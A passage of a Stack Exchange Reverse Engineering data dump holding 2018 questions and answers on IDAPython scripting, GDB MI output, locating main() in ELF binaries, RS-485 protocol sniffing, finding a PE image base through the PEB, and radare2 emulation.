LastActivityDate="2018-10-17T09:13:47.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19647" PostTypeId="2" ParentId="19641" CreationDate="2018-10-17T09:28:55.980" Score="1" Body="&lt;p&gt;You have to use some IDAPython script (example below - it dumps the file in a form you probably need) &#xA;and run it as &lt;code&gt;{ida executable} -c -A -S{script file full name} {your idb file}&lt;/code&gt; from the command line.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;import idc&#xA;def hexdump(f, start, end):&#xA;    while start &amp;lt; end:&#xA;        if start &amp;amp; 0xf == 0:&#xA;            f.write(&quot;\n0x%08x &quot;%start)&#xA;        f.write (&quot; %02x&quot;%Byte(start))&#xA;        start += 1&#xA;&#xA;f = open(&quot;your_output_file_name&quot;, &quot;w)&#xA;&#xA;for seg in Segments():&#xA;    start = SegStart(seg)&#xA;    end = SegEnd(seg)&#xA;    hexdump(f, start, end)&#xA;&#xA;f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script is not debugged, beware errors.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-10-17T09:28:55.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19649" PostTypeId="1" CreationDate="2018-10-17T10:05:51.407" Score="2" ViewCount="6226" Body="&lt;p&gt;I want to search for opcodes in IDA Pro like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xFF25&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="21430" LastActivityDate="2018-10-17T12:48:39.333" Title="How to search for Opcode 0xFF25 in IDA Pro?" Tags="|ida|idapython|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19650" PostTypeId="2" ParentId="19649" CreationDate="2018-10-17T10:49:03.213" Score="6" Body="&lt;p&gt;It depends on what do you exactly mean by opcode (not in all possible targets it starts with the start of the instruction, and it can be placed weirdly enough in it). Sometimes, however, simple binary searching (Search--&gt;Sequence of bytes, or &lt;kbd&gt;Alt B&lt;/kbd&gt;) is enough, and if you check &quot;Find all occurrences&quot; in the search  dialog IDA will open a window with, correspondingly, all occurrences. You also can try text search with the command mnemonics, such as searching for &quot;&lt;code&gt;ADD&lt;/code&gt;&quot; in the main IDA window in same manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not enough, you'll probably need to write IDC or IDAPython script that does one of the following things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Passes over all the instructions (for example with &lt;code&gt;idautils.Heads()&lt;/code&gt; IDAPython function) and outputs everything where the command mnemonics fits to what you need (&lt;code&gt;idc.print_insn_mnem&lt;/code&gt; DAPython function)&lt;/li&gt;&#xA;&lt;li&gt;Passes over all the instructions (for example with &lt;code&gt;idautils.Heads()&lt;/code&gt; IDAPython function), extracts the opcode from the instruction data (&lt;code&gt;idc.Byte(address)&lt;/code&gt; IDAPython function ) in the mode and order you need and checks if it fits.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-10-17T10:49:03.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19651" PostTypeId="2" ParentId="19649" CreationDate="2018-10-17T12:48:39.333" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_search-module.html#find_binary&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida_search.find_binary&lt;/a&gt;&#xA;I suppose you're going to search for JMP instructions like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp     ds:__imp__DebugBreak@0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then ubinstr argument is a string like &quot;FF 25&quot;, otherwise if you search for bytes 25 FF - specify &quot;FF25&quot;. Space is needed to deal with byte order in the search string.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-10-17T12:48:39.333" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19652" PostTypeId="1" CreationDate="2018-10-17T15:56:31.423" Score="0" ViewCount="576" Body="&lt;p&gt;I am using GDBs machine interface (mi) to write some simple tracers/loggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I ran into the problem of telling apart GDB output from text the target-program itself wrote to stdout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I look into the documentation here: &lt;a href=&quot;https://ftp.gnu.org/old-gnu/Manuals/gdb/html_chapter/gdb_22.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ftp.gnu.org/old-gnu/Manuals/gdb/html_chapter/gdb_22.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;target-stream-output is the output produced by the target program.&#xA;  All the target output is prefixed by `@'.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not what I observe, however. Consider this example session of running ls like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb -i mi ls&#xA;start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives this output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;...&#xA;~&quot;[Thread debugging using libthread_db enabled]\n&quot;&#xA;file1.jpg  file2.jpg  file3.jpg  dir1  dir2   &amp;lt;---(!!!)&#xA;~&quot;[Inferior 1 (process 22233) exited normally]\n&quot;&#xA;=thread-exited,id=&quot;1&quot;,group-id=&quot;i1&quot;&#xA;=thread-group-exited,id=&quot;i1&quot;,exit-code=&quot;0&quot;&#xA;*stopped,reason=&quot;exited-normally&quot;&#xA;(gdb) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the output of the ls command was just randomly dumped into the console. Great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I parse this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;gdb version is 8.1&lt;/p&gt;&#xA;" OwnerUserId="2808" LastActivityDate="2018-10-18T11:09:00.457" Title="GDB MI output vs. stdout" Tags="|gdb|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19654" PostTypeId="2" ParentId="19626" CreationDate="2018-10-17T19:22:37.493" Score="1" Body="&lt;p&gt;There are a few issues on radare's GitHub about such code, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/radare/radare2/issues/6819&quot; rel=&quot;nofollow noreferrer&quot;&gt;Invalid strings xref in x86&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/radare/radare2/issues/6402&quot; rel=&quot;nofollow noreferrer&quot;&gt;String(DATA) xref does not work with x86 binary built with -fPIC -m32&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to some comments on them, &lt;code&gt;aae&lt;/code&gt; is supposed to resolve such references after &lt;a href=&quot;https://github.com/radare/radare2/pull/6902&quot; rel=&quot;nofollow noreferrer&quot;&gt;this change&lt;/a&gt;, so try it. If not, open a new issue or try other &lt;a href=&quot;https://github.com/radare/radare2#pointers&quot; rel=&quot;nofollow noreferrer&quot;&gt;support options&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-10-17T19:22:37.493" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19655" PostTypeId="1" CreationDate="2018-10-18T01:59:55.263" Score="0" ViewCount="673" Body="&lt;p&gt;I have one elf 32 application and not stripped, I use gdb info functions and it list only the memory address and function name, but there is no function name with &quot;&lt;em&gt;main&lt;/em&gt;&quot;, so any way to find the main function of the program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the other problem is when using info functions, it didn't list of the input parameter of each function, if i want to list all input parameter of each function, which command should be use?&lt;/p&gt;&#xA;" OwnerUserId="25349" LastActivityDate="2018-12-17T05:01:05.160" Title="gdb for main and input parameters" Tags="|gdb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19656" PostTypeId="2" ParentId="19655" CreationDate="2018-10-18T03:23:23.860" Score="1" Body="&lt;p&gt;The memory address of &lt;code&gt;main()&lt;/code&gt; is a parameter of &lt;a href=&quot;http://refspecs.linuxbase.org/LSB_3.0.0/LSB-PDA/LSB-PDA/baselib---libc-start-main-.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;__libc_start_main&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __libc_start_main(int *(main) (int, char * *, char * *),    &amp;lt;-----pointer to main&#xA;                      int argc, &#xA;                      char * * ubp_av, &#xA;                      void (*init) (void), &#xA;                      void (*fini) (void), &#xA;                      void (*rtld_fini) (void), &#xA;                      void (* stack_end));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means we can find the address of &lt;code&gt;main()&lt;/code&gt; when &lt;code&gt;__libc_start_main()&lt;/code&gt; is called in the &lt;code&gt;_start&lt;/code&gt; routine (from &lt;code&gt;crt1.o&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In x86 environments, the memory address of &lt;code&gt;main()&lt;/code&gt; will be pushed onto the stack prior to calling &lt;code&gt;__libc_start_main()&lt;/code&gt;, but the way arguments are passed to functions depend on the &lt;a href=&quot;https://en.wikipedia.org/wiki/Calling_convention&quot; rel=&quot;nofollow noreferrer&quot;&gt;calling convention&lt;/a&gt; implemented by the compiler, and this can vary across compiler toolchains and CPU architectures (arguments may be passed in registers instead, for example). You did not give any information regarding the CPU family the object code in your ELF binary targets (beyond the fact that the architecture is 32-bit) or the compiler used to generate the binary, or any sample disassembly, so I can't be more specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, information about function parameters is not stored in the symbol table, so there is no command to list them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At runtime, you may use &lt;a href=&quot;http://visualgdb.com/gdbreference/commands/info_args&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;info args&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://visualgdb.com/gdbreference/commands/info_locals&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;info locals&lt;/code&gt;&lt;/a&gt; to inspect the values of function arguments and local variables if your binary has been compiled with the &lt;code&gt;-g&lt;/code&gt; flag.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-10-18T03:23:23.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19658" PostTypeId="2" ParentId="19652" CreationDate="2018-10-18T11:09:00.457" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Input_002fOutput.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this documentation page&lt;/a&gt; you can redirect your program stdout where-ever you want by using &lt;code&gt;run&amp;gt;out_file_name&lt;/code&gt; . This will not solve the parsing problem, but should avoid it. Using other tty then gdb's is also described there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition there is a simpler way to do it, with output redirection (see the first line of gdb output below). I checked it with simple program that prints to different strings to stderr and stdout :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(int argc, char ** argv)&#xA;{&#xA;    printf (&quot;\ntest\n&quot;);&#xA;    fprintf (stderr, &quot;stderr\n&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is my small debugging session results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) set args 1&amp;gt;/home/ubuntu/out.txt 2&amp;gt; /home/ubuntu/err.txt&#xA;(gdb) b main&#xA;Breakpoint 1 at 0x4005b5: file ./gt.c, line 5.&#xA;(gdb) run&#xA;Starting program: /home/ubuntu/unittest/gt 1&amp;gt;/home/ubuntu/out.txt 2&amp;gt; /home/ubuntu/err.txt&#xA;&#xA;Breakpoint 1, main (argc=1, argv=0x7fffffffe1f8) at ./gt.c:5&#xA;5       printf (&quot;\ntest\n&quot;);&#xA;(gdb) c&#xA;Continuing.&#xA;[Inferior 1 (process 8659) exited normally]&#xA;(gdb) shell cat /home/ubuntu/out.txt&#xA;&#xA;test&#xA;(gdb) shell cat /home/ubuntu/err.txt&#xA;stderr&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-10-18T11:09:00.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19659" PostTypeId="1" CreationDate="2018-10-18T13:26:49.237" Score="2" ViewCount="374" Body="&lt;p&gt;I am trying to reverse engineer a two wire RS-485 standard serial bus interface to talk to a &lt;a href=&quot;https://www.samsung.com/uk/business/climate/ac-dvm-amxxxfnbdeh/am320fnbdeheu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;samsung heat pump&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some hex commands I was able to sniff. Every message starts with &lt;code&gt;0x32&lt;/code&gt; and ends with &lt;code&gt;0x34&lt;/code&gt;. Does someone recognise this protocol?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;32 00 1A 80 FF 00 10 00 00 C0 11 ED 01 06 0C 00 00 00 00 00 00 00 00 00 00 B7 C8 34 &#xA;32 00 17 10 00 00 80 FF 00 C0 15 ED 01 06 0C 82 02 48 5A 16 04 23 13 8C 34 &#xA;32 00 11 80 FF 00 10 00 00 C0 11 EE 01 86 01 00 0D 2E 34 &#xA;32 00 11 80 FF 00 10 00 00 C0 11 EF 01 86 0A 00 7B 85 34 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26035" LastEditorUserId="53" LastEditDate="2018-10-18T13:55:10.413" LastActivityDate="2024-03-12T07:00:40.080" Title="What is this RS-485 communication protocol/" Tags="|hardware|serial-communication|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19660" PostTypeId="1" AcceptedAnswerId="19661" CreationDate="2018-10-18T18:35:48.157" Score="11" ViewCount="3916" Body="&lt;p&gt;Is there any way to get the image base of an &lt;code&gt;.exe&lt;/code&gt; without calling WinAPI functions (i.e. imported functions) so that it can't be easily viewed in a disassembler/debugger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been thinking of declaring a global variable anywhere in code and reading its address in a loop backwards until e.g.&lt;code&gt;MZ&lt;/code&gt; is found (obviously checking for &lt;code&gt;NULL&lt;/code&gt; in the meantime). However, there may be a section which isn't readable, a string in &lt;code&gt;.rdata&lt;/code&gt; which contains the &lt;code&gt;MZ&lt;/code&gt; characters or some value (especially a function address or generally pointers) that contains the &lt;code&gt;MZ&lt;/code&gt; bytes (&lt;code&gt;0x4D&lt;/code&gt;, &lt;code&gt;0x5A&lt;/code&gt;) (and probably a few more &quot;situations&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you any idea how to achieve that? Is it even possible?&lt;/p&gt;&#xA;" OwnerUserId="26003" LastEditorUserId="2147" LastEditDate="2018-10-19T01:06:05.407" LastActivityDate="2018-10-20T22:43:33.233" Title="Is there any way to get my own image base without calling any WinAPI functions, such as GetModuleHandle?" Tags="|windows|pe|executable|exe|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19661" PostTypeId="2" ParentId="19660" CreationDate="2018-10-18T19:02:24.287" Score="8" Body="&lt;p&gt;I can think of a couple of ways of doing that&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Scanning memory from EIP&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You could easily get the &lt;code&gt;EIP&lt;/code&gt; of your own code without calling any APIs. There are a few ways to achieve that using inline assembly, but the most common one is to include the following two instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call $+5&#xA;pop eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works because &lt;code&gt;call&lt;/code&gt; will push the next address (where &lt;code&gt;pop eax&lt;/code&gt; is onto the stack) and then execute the instruction right after it (again, our &lt;code&gt;pop eax&lt;/code&gt;). When &lt;code&gt;pop eax&lt;/code&gt; is executed, it'll pop the address just pushed by &lt;code&gt;call $+5&lt;/code&gt; into a register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you got your &lt;code&gt;EIP&lt;/code&gt; value you can easily scan backwards as you thought of doing, but this time starting at a position a lot closer to your image base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keeping in mind image bases are aligned to page boundaries, you can scan in &lt;code&gt;PAGE_SIZE&lt;/code&gt; (4096 bytes) intervals.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Reading loaded modules from PEB&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/Process_Environment_Block&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Environment Block&lt;/a&gt; (also &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/win32/ntdll/structs/peb/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) structure is accessible using a designated segment register (&lt;code&gt;fs&lt;/code&gt; on 32 bit systems and &lt;code&gt;gs&lt;/code&gt; on 64 bit systems) which stores the address of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Win32_Thread_Information_Block&quot; rel=&quot;nofollow noreferrer&quot;&gt;Thread Information Block&lt;/a&gt; from which the PEB is reachable. Although most of the PEB is undocumented, in it is a lot of data relating to the operational aspects of the currently running process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One such piece of information is the &lt;code&gt;ImageBaseAddress&lt;/code&gt;, an undocumented (but consistent) field that holds the process's image base. If you're interested in the &lt;code&gt;.exe&lt;/code&gt;'s image base (opposed to a loaded DLLs image base), this will do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want something more reliable you could use the &lt;code&gt;Ldr&lt;/code&gt; member, which points to a &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winternl/ns-winternl-_peb_ldr_data&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;PEB_LDR_DATA&lt;/code&gt;&lt;/a&gt; structure which points to a linked list of &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winternl/ns-winternl-_peb_ldr_data&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;LDR_DATA_TABLE_ENTRY&lt;/code&gt;&lt;/a&gt;s, which lists all loaded modules, their addresses and a lot of other information about each loaded module. Your executable's image base is the &lt;code&gt;DllBase&lt;/code&gt; field.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="245" LastEditDate="2018-10-20T22:43:33.233" LastActivityDate="2018-10-20T22:43:33.233" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19662" PostTypeId="2" ParentId="17295" CreationDate="2018-10-18T20:06:28.717" Score="3" Body="&lt;p&gt;I think you are looking for ESIL which allow you to emulate code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically &lt;code&gt;aei&lt;/code&gt; to initialize the VM and &lt;code&gt;aeip&lt;/code&gt; to set the pc to curseek. You can list registers using &lt;code&gt;aer&lt;/code&gt; and set them with &lt;code&gt;aer eax=1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more info &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/disassembling/esil.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://monosource.gitbooks.io/radare2-explorations/content/tut3/tut3_-_esil.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; ae?&#xA;|Usage: ae[idesr?] [arg]ESIL code emulation&#xA;| ae [expr]                  evaluate ESIL expression&#xA;| ae?                        show this help&#xA;| ae??                       show ESIL help&#xA;| ae[aA][f] [count]          analyse esil accesses (regs, mem..)&#xA;| aec[?]                     continue until ^C&#xA;| aecs [sn]                  continue until syscall number&#xA;| aecu [addr]                continue until address&#xA;| aecue [esil]               continue until esil expression match&#xA;| aef [addr]                 emulate function&#xA;| aei                        initialize ESIL VM state (aei- to deinitialize)&#xA;| aeim [addr] [size] [name]  initialize ESIL VM stack (aeim- remove)&#xA;| aeip                       initialize ESIL program counter to curseek&#xA;| aek [query]                perform sdb query on ESIL.info&#xA;| aek-                       resets the ESIL.info sdb instance&#xA;| aep[?] [addr]              manage esil pin hooks&#xA;| aepc [addr]                change esil PC to this address&#xA;| aer [..]                   handle ESIL registers like 'ar' or 'dr' does&#xA;| aets[?]                    ESIL Trace session&#xA;| aes                        perform emulated debugger step&#xA;| aesp [X] [N]               evaluate N instr from offset X&#xA;| aesb                       step back&#xA;| aeso                       step over&#xA;| aesu [addr]                step until given address&#xA;| aesue [esil]               step until esil expression match&#xA;| aetr[esil]                 Convert an ESIL Expression to REIL&#xA;| aex [hex]                  evaluate opcode expression&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25996" LastEditorUserId="2147" LastEditDate="2018-10-18T21:50:23.600" LastActivityDate="2018-10-18T21:50:23.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19663" PostTypeId="2" ParentId="19660" CreationDate="2018-10-18T21:00:47.830" Score="5" Body="&lt;p&gt;If you use Visual C++, you can use the special symbol &lt;code&gt;__ImageBase&lt;/code&gt; which points to image base of the current module. For example, here's code from VS2010 CRT source (&lt;code&gt;pesect.c&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL __cdecl _IsNonwritableInCurrentImage(&#xA;    PBYTE pTarget&#xA;    )&#xA;{&#xA;    PBYTE                 pImageBase;&#xA;    DWORD_PTR             rvaTarget;&#xA;    PIMAGE_SECTION_HEADER pSection;&#xA;&#xA;    pImageBase = (PBYTE)&amp;amp;__ImageBase;&#xA;&#xA;    __try {&#xA;        //&#xA;        // Make sure __ImageBase does address a PE image.  This is likely an&#xA;        // unnecessary check, since we should be running from a normal image,&#xA;        // but it is fast, this routine is rarely called, and the normal call&#xA;        // is for security purposes.  If we don't have a PE image, return&#xA;        // failure.&#xA;        //&#xA;        if (!_ValidateImageBase(pImageBase))&#xA;        {&#xA;            return FALSE;&#xA;        }&#xA;&#xA;        //&#xA;        // Convert the targetaddress to a Relative Virtual Address (RVA) within&#xA;        // the image, and find the corresponding PE section.  Return failure if&#xA;        // the target address is not found within the current image.&#xA;        //&#xA;        rvaTarget = pTarget - pImageBase;&#xA;        pSection = _FindPESection(pImageBase, rvaTarget);&#xA;        if (pSection == NULL)&#xA;        {&#xA;            return FALSE;&#xA;        }&#xA;&#xA;        //&#xA;        // Check the section characteristics to see if the target address is&#xA;        // located within a writable section, returning a failure if yes.&#xA;        //&#xA;        return (pSection-&amp;gt;Characteristics &amp;amp; IMAGE_SCN_MEM_WRITE) == 0;&#xA;    }&#xA;    __except (GetExceptionCode() == STATUS_ACCESS_VIOLATION)&#xA;    {&#xA;        //&#xA;        // Just return failure if the PE image is corrupted in any way that&#xA;        // triggers an AV.&#xA;        //&#xA;        return FALSE;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the top of the file there is code declaring this variable as &lt;code&gt;extern&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#if defined (_WIN64) &amp;amp;&amp;amp; defined (_M_IA64)&#xA;#pragma section(&quot;.base&quot;, long, read)&#xA;__declspec(allocate(&quot;.base&quot;))&#xA;extern IMAGE_DOS_HEADER __ImageBase;&#xA;#else  /* defined (_WIN64) &amp;amp;&amp;amp; defined (_M_IA64) */&#xA;extern IMAGE_DOS_HEADER __ImageBase;&#xA;#endif  /* defined (_WIN64) &amp;amp;&amp;amp; defined (_M_IA64) */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it may be that the key is the &lt;code&gt;.base&lt;/code&gt; section and not the variable name by itself.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-10-18T21:00:47.830" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19666" PostTypeId="2" ParentId="17295" CreationDate="2018-10-18T23:00:59.143" Score="1" Body="&lt;p&gt;A few of other approaches could be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using IDA's &lt;a href=&quot;https://hex-rays.com/products/ida/support/tutorials/debugging_appcall.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;AppCall&lt;/a&gt; functionality. It isn't all too known a feature (and it should be!) but IDA makes an effort letting you use functions inside the binary in isolation. Check out the link for usage details.&lt;/li&gt;&#xA;&lt;li&gt;Using a debugger. This may not be what you're asking about but you could easily provide register values and execute a function until a &lt;code&gt;ret&lt;/code&gt; instruction using &lt;em&gt;any&lt;/em&gt; debugger.&lt;/li&gt;&#xA;&lt;li&gt;Using one of the many dynamic instrumentation and emulators out there, you can simulate an execution of a given function and state (i.e. registers, etc). &lt;a href=&quot;http://angr.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;angr&lt;/a&gt; is one such tool. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-10-18T23:00:59.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19667" PostTypeId="1" AcceptedAnswerId="19678" CreationDate="2018-10-19T08:16:17.073" Score="0" ViewCount="178" Body="&lt;p&gt;&lt;a href=&quot;https://challenges.re/65/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Challenge 65&lt;/a&gt;: Try to determine the dimensions of the array, at least partially. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_array$ = 8 &#xA;_x$ = 12    &#xA;_y$ = 16    &#xA;_z$ = 20    &#xA;_f  PROC&#xA;    mov eax, DWORD PTR _x$[esp-4]&#xA;    mov edx, DWORD PTR _y$[esp-4]&#xA;    mov ecx, eax&#xA;    shl ecx, 4&#xA;    sub ecx, eax&#xA;    lea eax, DWORD PTR [edx+ecx*4]&#xA;    mov ecx, DWORD PTR _array$[esp-4]&#xA;    lea eax, DWORD PTR [eax+eax*4]&#xA;    shl eax, 4&#xA;    add eax, DWORD PTR _z$[esp-4]&#xA;    mov eax, DWORD PTR [ecx+eax*4]&#xA;    ret 0&#xA;_f  ENDP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this challenge, I can only determine the last two dimensions as 60 and 80, so how to determine the first dimension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I determined: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array[?][60][80]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Progress to determine last two dimensions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return: array + 5*16*(4*(16*X-X)+Y)+Z &#xA;                     ↓&#xA;return: array + 80*(60*X+Y)+Z &#xA;                     ↓&#xA;The second dimension is 60 and the third dimension is 80.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answers from Chinese-published version of RE4B, ISBN:9787115434456, Page 944&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9YW2A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9YW2A.png&quot; alt=&quot;answer&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25935" LastEditorUserId="25935" LastEditDate="2018-10-22T08:15:37.110" LastActivityDate="2018-10-22T08:15:37.110" Title="RE4B challenge 65: how to determine the first dimension of the array?" Tags="|array|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19671" PostTypeId="1" AcceptedAnswerId="19717" CreationDate="2018-10-20T12:40:49.830" Score="9" ViewCount="1305" Body="&lt;p&gt;I have a Petrainer PET998DRU shock collar (similar to &lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/B00W6UVROK&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;) that got partially chewed up by the dog it is supposed to train. I salvaged it to the point where I have the following buttons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mode (to select light, beep, vibrate, and zap&lt;/li&gt;&#xA;&lt;li&gt;Activate (to send appropriate stimulation)&lt;/li&gt;&#xA;&lt;li&gt;Up arrow (to increase the amount of stim)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The display does not work so I don't know what the setting (which stim and how much) is on other than trial and error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed the method on here: &lt;a href=&quot;http://brettleaver.com/collar/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://brettleaver.com/collar/&lt;/a&gt; to get as far as I have gotten but the protocol differs on this model and I have only been able to 